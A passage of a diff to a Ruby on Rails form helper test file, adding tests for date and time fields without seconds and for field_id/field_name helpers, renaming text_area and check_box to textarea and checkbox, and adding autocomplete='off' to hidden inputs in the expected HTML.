     assert_dom_equal(expected, date_field("post", "written_on", value: value))
   end
 
+  def test_date_field_with_nil_value_attr
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date"/>}
+    assert_dom_equal(expected, date_field("post", "written_on", value: nil))
+  end
+
+  def test_date_field_with_datetime_value_attr
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2013-06-29" />}
+    value = DateTime.new(2013, 6, 29)
+    assert_dom_equal(expected, date_field("post", "written_on", value: value))
+  end
+
   def test_date_field_with_timewithzone_value
     previous_time_zone, Time.zone = Time.zone, "UTC"
     expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
@@ -1087,6 +1241,17 @@ def test_time_field_with_extra_attrs
     assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value, step: step))
   end
 
+  def test_time_field_with_value_attr
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+    value = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, time_field("post", "written_on", value: value))
+  end
+
+  def test_time_field_with_value_attr_that_excludes_seconds
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:45" />}
+    assert_dom_equal(expected, time_field("post", "written_on", value: "01:45"))
+  end
+
   def test_time_field_with_timewithzone_value
     previous_time_zone, Time.zone = Time.zone, "UTC"
     expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
@@ -1118,6 +1283,14 @@ def test_time_field_with_invalid_string_values_for_min_and_max
     assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value))
   end
 
+  def test_time_field_without_seconds
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02" max="10:25" min="20:45" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+    max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+    assert_dom_equal(expected, time_field("post", "written_on", include_seconds: false, min: min_value, max: max_value))
+  end
+
   def test_datetime_field
     expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T00:00:00" />}
     assert_dom_equal(expected, datetime_field("post", "written_on"))
@@ -1139,7 +1312,7 @@ def test_datetime_field_with_extra_attrs
   end
 
   def test_datetime_field_with_value_attr
-    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2013-06-29T13:37:00+00:00" />}
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2013-06-29T13:37:00" />}
     value = DateTime.new(2013, 6, 29, 13, 37)
     assert_dom_equal(expected, datetime_field("post", "written_on", value: value))
   end
@@ -1180,6 +1353,16 @@ def test_datetime_local_field
     assert_dom_equal(expected, datetime_local_field("post", "written_on"))
   end
 
+  def test_datetime_local_field_without_seconds
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T00:00" />}
+    assert_dom_equal(expected, datetime_local_field("post", "written_on", include_seconds: false))
+  end
+
+  def test_datetime_local_field_with_value_attr_that_excludes_seconds
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T00:00" />}
+    assert_dom_equal(expected, datetime_local_field("post", "written_on", value: "2004-06-15T00:00"))
+  end
+
   def test_month_field
     expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
     assert_dom_equal(expected, month_field("post", "written_on"))
@@ -1206,6 +1389,12 @@ def test_month_field_with_extra_attrs
     assert_dom_equal(expected, month_field("post", "written_on", min: min_value, max: max_value, step: step))
   end
 
+  def test_month_field_with_datetime_value_attr
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+    value = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, month_field("post", "written_on", value: value))
+  end
+
   def test_month_field_with_timewithzone_value
     previous_time_zone, Time.zone = Time.zone, "UTC"
     expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
@@ -1241,6 +1430,12 @@ def test_week_field_with_extra_attrs
     assert_dom_equal(expected, week_field("post", "written_on", min: min_value, max: max_value, step: step))
   end
 
+  def test_week_field_with_datetime_value_attr
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W25" />}
+    value = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, week_field("post", "written_on", value: value))
+  end
+
   def test_week_field_with_timewithzone_value
     previous_time_zone, Time.zone = Time.zone, "UTC"
     expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W25" />}
@@ -1287,23 +1482,23 @@ def test_explicit_name
     )
     assert_dom_equal(
       %{<textarea id="post_body" name="really!">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body", "name" => "really!")
+      textarea("post", "body", "name" => "really!")
     )
     assert_dom_equal(
-      '<input name="i mean it" type="hidden" value="0" /><input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" />',
-      check_box("post", "secret", "name" => "i mean it")
+      '<input name="i mean it" type="hidden" value="0" autocomplete="off" /><input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" />',
+      checkbox("post", "secret", "name" => "i mean it")
     )
     assert_dom_equal(
       text_field("post", "title", "name" => "dont guess"),
       text_field("post", "title", name: "dont guess")
     )
     assert_dom_equal(
-      text_area("post", "body", "name" => "really!"),
-      text_area("post", "body", name: "really!")
+      textarea("post", "body", "name" => "really!"),
+      textarea("post", "body", name: "really!")
     )
     assert_dom_equal(
-      check_box("post", "secret", "name" => "i mean it"),
-      check_box("post", "secret", name: "i mean it")
+      checkbox("post", "secret", "name" => "i mean it"),
+      checkbox("post", "secret", name: "i mean it")
     )
   end
 
@@ -1314,23 +1509,23 @@ def test_explicit_id
     )
     assert_dom_equal(
       %{<textarea id="really!" name="post[body]">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body", "id" => "really!")
+      textarea("post", "body", "id" => "really!")
     )
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", "id" => "i mean it")
+      '<input name="post[secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret", "id" => "i mean it")
     )
     assert_dom_equal(
       text_field("post", "title", "id" => "dont guess"),
       text_field("post", "title", id: "dont guess")
     )
     assert_dom_equal(
-      text_area("post", "body", "id" => "really!"),
-      text_area("post", "body", id: "really!")
+      textarea("post", "body", "id" => "really!"),
+      textarea("post", "body", id: "really!")
     )
     assert_dom_equal(
-      check_box("post", "secret", "id" => "i mean it"),
-      check_box("post", "secret", id: "i mean it")
+      checkbox("post", "secret", "id" => "i mean it"),
+      checkbox("post", "secret", id: "i mean it")
     )
   end
 
@@ -1341,11 +1536,11 @@ def test_nil_id
     )
     assert_dom_equal(
       %{<textarea name="post[body]">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body", "id" => nil)
+      textarea("post", "body", "id" => nil)
     )
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", "id" => nil)
+      '<input name="post[secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" name="post[secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret", "id" => nil)
     )
     assert_dom_equal(
       '<input type="radio" name="post[secret]" value="0" />',
@@ -1353,19 +1548,19 @@ def test_nil_id
     )
     assert_dom_equal(
       '<select name="post[secret]"></select>',
-      select("post", "secret", [], {}, "id" => nil)
+      select("post", "secret", [], {}, { "id" => nil })
     )
     assert_dom_equal(
       text_field("post", "title", "id" => nil),
       text_field("post", "title", id: nil)
     )
     assert_dom_equal(
-      text_area("post", "body", "id" => nil),
-      text_area("post", "body", id: nil)
+      textarea("post", "body", "id" => nil),
+      textarea("post", "body", id: nil)
     )
     assert_dom_equal(
-      check_box("post", "secret", "id" => nil),
-      check_box("post", "secret", id: nil)
+      checkbox("post", "secret", "id" => nil),
+      checkbox("post", "secret", id: nil)
     )
     assert_dom_equal(
       radio_button("post", "secret", "0", "id" => nil),
@@ -1380,23 +1575,23 @@ def test_index
     )
     assert_dom_equal(
       %{<textarea name="post[5][body]" id="post_5_body">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body", "index" => 5)
+      textarea("post", "body", "index" => 5)
     )
     assert_dom_equal(
-      '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" id="post_5_secret" />',
-      check_box("post", "secret", "index" => 5)
+      '<input name="post[5][secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" id="post_5_secret" />',
+      checkbox("post", "secret", "index" => 5)
     )
     assert_dom_equal(
       text_field("post", "title", "index" => 5),
       text_field("post", "title", "index" => 5)
     )
     assert_dom_equal(
-      text_area("post", "body", "index" => 5),
-      text_area("post", "body", "index" => 5)
+      textarea("post", "body", "index" => 5),
+      textarea("post", "body", "index" => 5)
     )
     assert_dom_equal(
-      check_box("post", "secret", "index" => 5),
-      check_box("post", "secret", "index" => 5)
+      checkbox("post", "secret", "index" => 5),
+      checkbox("post", "secret", "index" => 5)
     )
   end
 
@@ -1407,23 +1602,23 @@ def test_index_with_nil_id
     )
     assert_dom_equal(
       %{<textarea name="post[5][body]">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body", "index" => 5, "id" => nil)
+      textarea("post", "body", "index" => 5, "id" => nil)
     )
     assert_dom_equal(
-      '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", "index" => 5, "id" => nil)
+      '<input name="post[5][secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret", "index" => 5, "id" => nil)
     )
     assert_dom_equal(
       text_field("post", "title", "index" => 5, "id" => nil),
       text_field("post", "title", index: 5, id: nil)
     )
     assert_dom_equal(
-      text_area("post", "body", "index" => 5, "id" => nil),
-      text_area("post", "body", index: 5, id: nil)
+      textarea("post", "body", "index" => 5, "id" => nil),
+      textarea("post", "body", index: 5, id: nil)
     )
     assert_dom_equal(
-      check_box("post", "secret", "index" => 5, "id" => nil),
-      check_box("post", "secret", index: 5, id: nil)
+      checkbox("post", "secret", "index" => 5, "id" => nil),
+      checkbox("post", "secret", index: 5, id: nil)
     )
   end
 
@@ -1439,16 +1634,16 @@ def test_auto_index
     )
     assert_dom_equal(
       %{<textarea id="post_#{pid}_body" name="post[#{pid}][body]">\nBack to the hill and over it again!</textarea>},
-      text_area("post[]", "body")
+      textarea("post[]", "body")
     )
     assert_dom_equal(
-      %{<input name="post[#{pid}][secret]" type="hidden" value="0" /><input checked="checked" id="post_#{pid}_secret" name="post[#{pid}][secret]" type="checkbox" value="1" />},
-      check_box("post[]", "secret")
+      %{<input name="post[#{pid}][secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" id="post_#{pid}_secret" name="post[#{pid}][secret]" type="checkbox" value="1" />},
+      checkbox("post[]", "secret")
     )
     assert_dom_equal(
-       %{<input checked="checked" id="post_#{pid}_title_hello_world" name="post[#{pid}][title]" type="radio" value="Hello World" />},
-       radio_button("post[]", "title", "Hello World")
-     )
+      %{<input checked="checked" id="post_#{pid}_title_hello_world" name="post[#{pid}][title]" type="radio" value="Hello World" />},
+      radio_button("post[]", "title", "Hello World")
+    )
     assert_dom_equal(
       %{<input id="post_#{pid}_title_goodbye_world" name="post[#{pid}][title]" type="radio" value="Goodbye World" />},
       radio_button("post[]", "title", "Goodbye World")
@@ -1463,16 +1658,16 @@ def test_auto_index_with_nil_id
     )
     assert_dom_equal(
       %{<textarea name="post[#{pid}][body]">\nBack to the hill and over it again!</textarea>},
-      text_area("post[]", "body", id: nil)
+      textarea("post[]", "body", id: nil)
     )
     assert_dom_equal(
-      %{<input name="post[#{pid}][secret]" type="hidden" value="0" /><input checked="checked" name="post[#{pid}][secret]" type="checkbox" value="1" />},
-      check_box("post[]", "secret", id: nil)
+      %{<input name="post[#{pid}][secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" name="post[#{pid}][secret]" type="checkbox" value="1" />},
+      checkbox("post[]", "secret", id: nil)
     )
     assert_dom_equal(
       %{<input checked="checked" name="post[#{pid}][title]" type="radio" value="Hello World" />},
        radio_button("post[]", "title", "Hello World", id: nil)
-     )
+    )
     assert_dom_equal(
       %{<input name="post[#{pid}][title]" type="radio" value="Goodbye World" />},
       radio_button("post[]", "title", "Goodbye World", id: nil)
@@ -1504,8 +1699,51 @@ def test_form_for
     form_for(@post, html: { id: "create-post" }) do |f|
       concat f.label(:title) { "The Title" }
       concat f.text_field(:title)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
+      concat f.submit("Create post")
+      concat f.button("Create post")
+      concat f.button {
+        concat content_tag(:span, "Create post")
+      }
+    end
+
+    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+      "<label for='post_title'>The Title</label>" \
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" \
+      "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />" \
+      "<button name='button' type='submit'>Create post</button>" \
+      "<button name='button' type='submit'><span>Create post</span></button>"
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+
+  def test_form_for_text_area_alias
+    form_for(@post, html: { id: "create-post" }) do |f|
       concat f.text_area(:body)
-      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_is_not_affected_by_form_with_generates_ids
+    old_value = ActionView::Helpers::FormHelper.form_with_generates_ids
+    ActionView::Helpers::FormHelper.form_with_generates_ids = false
+
+    form_for(@post, html: { id: "create-post" }) do |f|
+      concat f.label(:title) { "The Title" }
+      concat f.text_field(:title)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
       concat f.submit("Create post")
       concat f.button("Create post")
       concat f.button {
@@ -1517,14 +1755,289 @@ def test_form_for
       "<label for='post_title'>The Title</label>" \
       "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
       "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" \
       "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />" \
       "<button name='button' type='submit'>Create post</button>" \
       "<button name='button' type='submit'><span>Create post</span></button>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  ensure
+    ActionView::Helpers::FormHelper.form_with_generates_ids = old_value
+  end
+
+  def test_form_for_id
+    form_for(Post.new) do |form|
+      concat form.button(form: form.id)
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      '<button name="button" type="submit" form="new_post">Create Post</button>'
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_false_url
+    form_for(Post.new, url: false) do |form|
+    end
+
+    expected = whole_form(false, "new_post", "new_post")
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_false_action
+    form_for(Post.new, html: { action: false }) do |form|
+    end
+
+    expected = whole_form(false, "new_post", "new_post")
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_field_id_with_model
+    value = field_id(Post.new, :title)
+
+    assert_equal "post_title", value
+  end
+
+  def test_field_id_with_predicate_method
+    value = field_id(Post.new, :secret?)
+
+    assert_equal "post_secret", value
+  end
+
+  def test_form_for_field_id
+    form_for(Post.new) do |form|
+      concat form.label(:title)
+      concat form.text_field(:title, aria: { describedby: form.field_id(:title, :error) })
+      concat tag.span("is blank", id: form.field_id(:title, :error))
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      '<label for="post_title">Title</label>' \
+      '<input id="post_title" name="post[title]" type="text" aria-describedby="post_title_error">' \
+      '<span id="post_title_error">is blank</span>'
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_id_with_index
+    form_for(Post.new, index: 1) do |form|
+      concat form.text_field(:title, aria: { describedby: form.field_id(:title, :error) })
+      concat tag.span("is blank", id: form.field_id(:title, :error))
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      '<input id="post_1_title" name="post[1][title]" type="text" aria-describedby="post_1_title_error">' \
+      '<span id="post_1_title_error">is blank</span>'
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_name_with_blank_as
+    form_for(Post.new, as: "") do |form|
+      concat form.text_field(:title, name: form.field_name(:title))
+    end
+
+    expected = whole_form("/posts", "new_", "new_") do
+      %(<input id="title" name="title" type="text">)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_id_with_namespace
+    form_for(Post.new, namespace: :special) do |form|
+      concat form.label(:title)
+      concat form.text_field(:title, aria: { describedby: form.field_id(:title, :error) })
+      concat tag.span("is blank", id: form.field_id(:title, :error))
+    end
+
+    expected = whole_form("/posts", "special_new_post", "new_post") do
+      '<label for="special_post_title">Title</label>' \
+      '<input id="special_post_title" name="post[title]" type="text" aria-describedby="special_post_title_error">' \
+      '<span id="special_post_title_error">is blank</span>'
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_name_with_blank_as_and_multiple
+    form_for(Post.new, as: "") do |form|
+      concat form.text_field(:title, name: form.field_name(:title, multiple: true))
+    end
+
+    expected = whole_form("/posts", "new_", "new_") do
+      %(<input id="title" name="title[]" type="text">)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_name_without_method_names_or_multiple_or_index
+    form_for(Post.new) do |form|
+      concat form.text_field(:title, name: form.field_name(:title))
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      %(<input id="post_title" name="post[title]" type="text">)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_name_without_method_names_and_multiple
+    form_for(Post.new) do |form|
+      concat form.text_field(:title, name: form.field_name(:title, multiple: true))
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      %(<input id="post_title" name="post[title][]" type="text">)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_name_without_method_names_and_index
+    form_for(Post.new, index: 1) do |form|
+      concat form.text_field(:title, name: form.field_name(:title))
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      %(<input id="post_1_title" name="post[1][title]" type="text">)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_name_without_method_names_and_index_and_multiple
+    form_for(Post.new, index: 1) do |form|
+      concat form.text_field(:title, name: form.field_name(:title, multiple: true))
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      %(<input id="post_1_title" name="post[1][title][]" type="text">)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_name_with_method_names
+    form_for(Post.new) do |form|
+      concat form.text_field(:title, name: form.field_name(:title, :subtitle))
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      %(<input id="post_title" name="post[title][subtitle]" type="text">)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_name_with_method_names_and_index
+    form_for(Post.new, index: 1) do |form|
+      concat form.text_field(:title, name: form.field_name(:title, :subtitle))
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      %(<input id="post_1_title" name="post[1][title][subtitle]" type="text">)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_name_with_method_names_and_multiple
+    form_for(Post.new) do |form|
+      concat form.text_field(:title, name: form.field_name(:title, :subtitle, multiple: true))
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      %(<input id="post_title" name="post[title][subtitle][]" type="text">)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_name_with_method_names_and_multiple_and_index
+    form_for(Post.new, index: 1) do |form|
+      concat form.text_field(:title, name: form.field_name(:title, :subtitle, multiple: true))
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      %(<input id="post_1_title" name="post[1][title][subtitle][]" type="text">)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_field_id_with_namespace_and_index
+    form_for(Post.new, namespace: :special, index: 1) do |form|
+      concat form.text_field(:title, aria: { describedby: form.field_id(:title, :error) })
+      concat tag.span("is blank", id: form.field_id(:title, :error))
+    end
+
+    expected = whole_form("/posts", "special_new_post", "new_post") do
+      '<input id="special_post_1_title" name="post[1][title]" type="text" aria-describedby="special_post_1_title_error">' \
+      '<span id="special_post_1_title_error">is blank</span>'
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_with_nested_attributes_field_id
+    post, comment, tag = Post.new, Comment.new, Tag.new
+    comment.relevances = [tag]
+    post.comments = [comment]
+    form_for(post) do |form|
+      form.fields_for(:comments) do |comment_form|
+        concat comment_form.field_id :relevances_attributes
+      end
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "post_comments_attributes_0_relevances_attributes"
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_with_nested_attributes_field_name
+    post, comment, tag = Post.new, Comment.new, Tag.new
+    comment.relevances = [tag]
+    post.comments = [comment]
+    form_for(post) do |form|
+      form.fields_for(:comments) do |comment_form|
+        concat comment_form.field_name :relevances_attributes
+      end
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "post[comments_attributes][0][relevances_attributes]"
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_with_nested_attributes_field_name_multiple
+    post, comment, tag = Post.new, Comment.new, Tag.new
+    comment.relevances = [tag]
+    post.comments = [comment]
+    form_for(post) do |form|
+      form.fields_for(:comments) do |comment_form|
+        concat comment_form.field_name :relevances_attributes, multiple: true
+      end
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "post[comments_attributes][0][relevances_attributes][]"
+    end
+
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_collection_radio_buttons
@@ -1535,14 +2048,14 @@ def post.active; false; end
     end
 
     expected = whole_form("/posts", "new_post", "new_post") do
-      "<input type='hidden' name='post[active]' value='' />" \
+      "<input type='hidden' name='post[active]' value='' autocomplete='off' />" \
       "<input id='post_active_true' name='post[active]' type='radio' value='true' />" \
       "<label for='post_active_true'>true</label>" \
       "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" \
       "<label for='post_active_false'>false</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_collection_radio_buttons_with_custom_builder_block
@@ -1557,7 +2070,7 @@ def post.active; false; end
     end
 
     expected = whole_form("/posts", "new_post", "new_post") do
-      "<input type='hidden' name='post[active]' value='' />" \
+      "<input type='hidden' name='post[active]' value='' autocomplete='off' />" \
       "<label for='post_active_true'>" \
       "<input id='post_active_true' name='post[active]' type='radio' value='true' />" \
       "true</label>" \
@@ -1566,7 +2079,7 @@ def post.active; false; end
       "false</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_collection_radio_buttons_with_custom_builder_block_does_not_leak_the_template
@@ -1583,17 +2096,17 @@ def post.id; 1; end
     end
 
     expected = whole_form("/posts", "new_post_1", "new_post") do
-      "<input type='hidden' name='post[active]' value='' />" \
+      "<input type='hidden' name='post[active]' value='' autocomplete='off' />" \
       "<label for='post_active_true'>" \
       "<input id='post_active_true' name='post[active]' type='radio' value='true' />" \
       "true</label>" \
       "<label for='post_active_false'>" \
       "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" \
       "false</label>" \
-      "<input id='post_id' name='post[id]' type='hidden' value='1' />"
+      "<input id='post_id' name='post[id]' type='hidden' value='1' autocomplete='off' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_namespace_and_with_collection_radio_buttons
@@ -1605,14 +2118,14 @@ def post.active; false; end
     end
 
     expected = whole_form("/posts", "foo_new_post", "new_post") do
-      "<input type='hidden' name='post[active]' value='' />" \
+      "<input type='hidden' name='post[active]' value='' autocomplete='off' />" \
       "<input id='foo_post_active_true' name='post[active]' type='radio' value='true' />" \
       "<label for='foo_post_active_true'>true</label>" \
       "<input checked='checked' id='foo_post_active_false' name='post[active]' type='radio' value='false' />" \
       "<label for='foo_post_active_false'>false</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_index_and_with_collection_radio_buttons
@@ -1624,26 +2137,26 @@ def post.active; false; end
     end
 
     expected = whole_form("/posts", "new_post", "new_post") do
-      "<input type='hidden' name='post[1][active]' value='' />" \
+      "<input type='hidden' name='post[1][active]' value='' autocomplete='off' />" \
       "<input id='post_1_active_true' name='post[1][active]' type='radio' value='true' />" \
       "<label for='post_1_active_true'>true</label>" \
       "<input checked='checked' id='post_1_active_false' name='post[1][active]' type='radio' value='false' />" \
       "<label for='post_1_active_false'>false</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
-  def test_form_for_with_collection_check_boxes
+  def test_form_for_with_collection_checkboxes
     post = Post.new
     def post.tag_ids; [1, 3]; end
     collection = (1..3).map { |i| [i, "Tag #{i}"] }
     form_for(post) do |f|
-      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+      concat f.collection_checkboxes(:tag_ids, collection, :first, :last)
     end
 
     expected = whole_form("/posts", "new_post", "new_post") do
-      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<input name='post[tag_ids][]' type='hidden' value='' autocomplete='off' />" \
       "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" \
       "<label for='post_tag_ids_1'>Tag 1</label>" \
       "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" \
@@ -1652,22 +2165,22 @@ def post.tag_ids; [1, 3]; end
       "<label for='post_tag_ids_3'>Tag 3</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
-  def test_form_for_with_collection_check_boxes_with_custom_builder_block
+  def test_form_for_with_collection_checkboxes_with_custom_builder_block
     post = Post.new
     def post.tag_ids; [1, 3]; end
     collection = (1..3).map { |i| [i, "Tag #{i}"] }
     form_for(post) do |f|
-      rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
-        b.label { b.check_box + b.text }
+      rendered_checkboxes = f.collection_checkboxes(:tag_ids, collection, :first, :last) do |b|
+        b.label { b.checkbox + b.text }
       end
-      concat rendered_check_boxes
+      concat rendered_checkboxes
     end
 
     expected = whole_form("/posts", "new_post", "new_post") do
-      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<input name='post[tag_ids][]' type='hidden' value='' autocomplete='off' />" \
       "<label for='post_tag_ids_1'>" \
       "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" \
       "Tag 1</label>" \
@@ -1679,25 +2192,25 @@ def post.tag_ids; [1, 3]; end
       "Tag 3</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
-  def test_form_for_with_collection_check_boxes_with_custom_builder_block_does_not_leak_the_template
+  def test_form_for_with_collection_checkboxes_with_custom_builder_block_does_not_leak_the_template
     post = Post.new
     def post.tag_ids; [1, 3]; end
     def post.id; 1; end
     collection = (1..3).map { |i| [i, "Tag #{i}"] }
 
     form_for(post) do |f|
-      rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
-        b.label { b.check_box + b.text }
+      rendered_checkboxes = f.collection_checkboxes(:tag_ids, collection, :first, :last) do |b|
+        b.label { b.checkbox + b.text }
       end
-      concat rendered_check_boxes
+      concat rendered_checkboxes
       concat f.hidden_field :id
     end
 
     expected = whole_form("/posts", "new_post_1", "new_post") do
-      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<input name='post[tag_ids][]' type='hidden' value='' autocomplete='off' />" \
       "<label for='post_tag_ids_1'>" \
       "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" \
       "Tag 1</label>" \
@@ -1707,46 +2220,66 @@ def post.id; 1; end
       "<label for='post_tag_ids_3'>" \
       "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" \
       "Tag 3</label>" \
-      "<input id='post_id' name='post[id]' type='hidden' value='1' />"
+      "<input id='post_id' name='post[id]' type='hidden' value='1' autocomplete='off' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
-  def test_form_with_namespace_and_with_collection_check_boxes
+  def test_form_with_namespace_and_with_collection_checkboxes
     post = Post.new
     def post.tag_ids; [1]; end
     collection = [[1, "Tag 1"]]
 
     form_for(post, namespace: "foo") do |f|
-      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+      concat f.collection_checkboxes(:tag_ids, collection, :first, :last)
     end
 
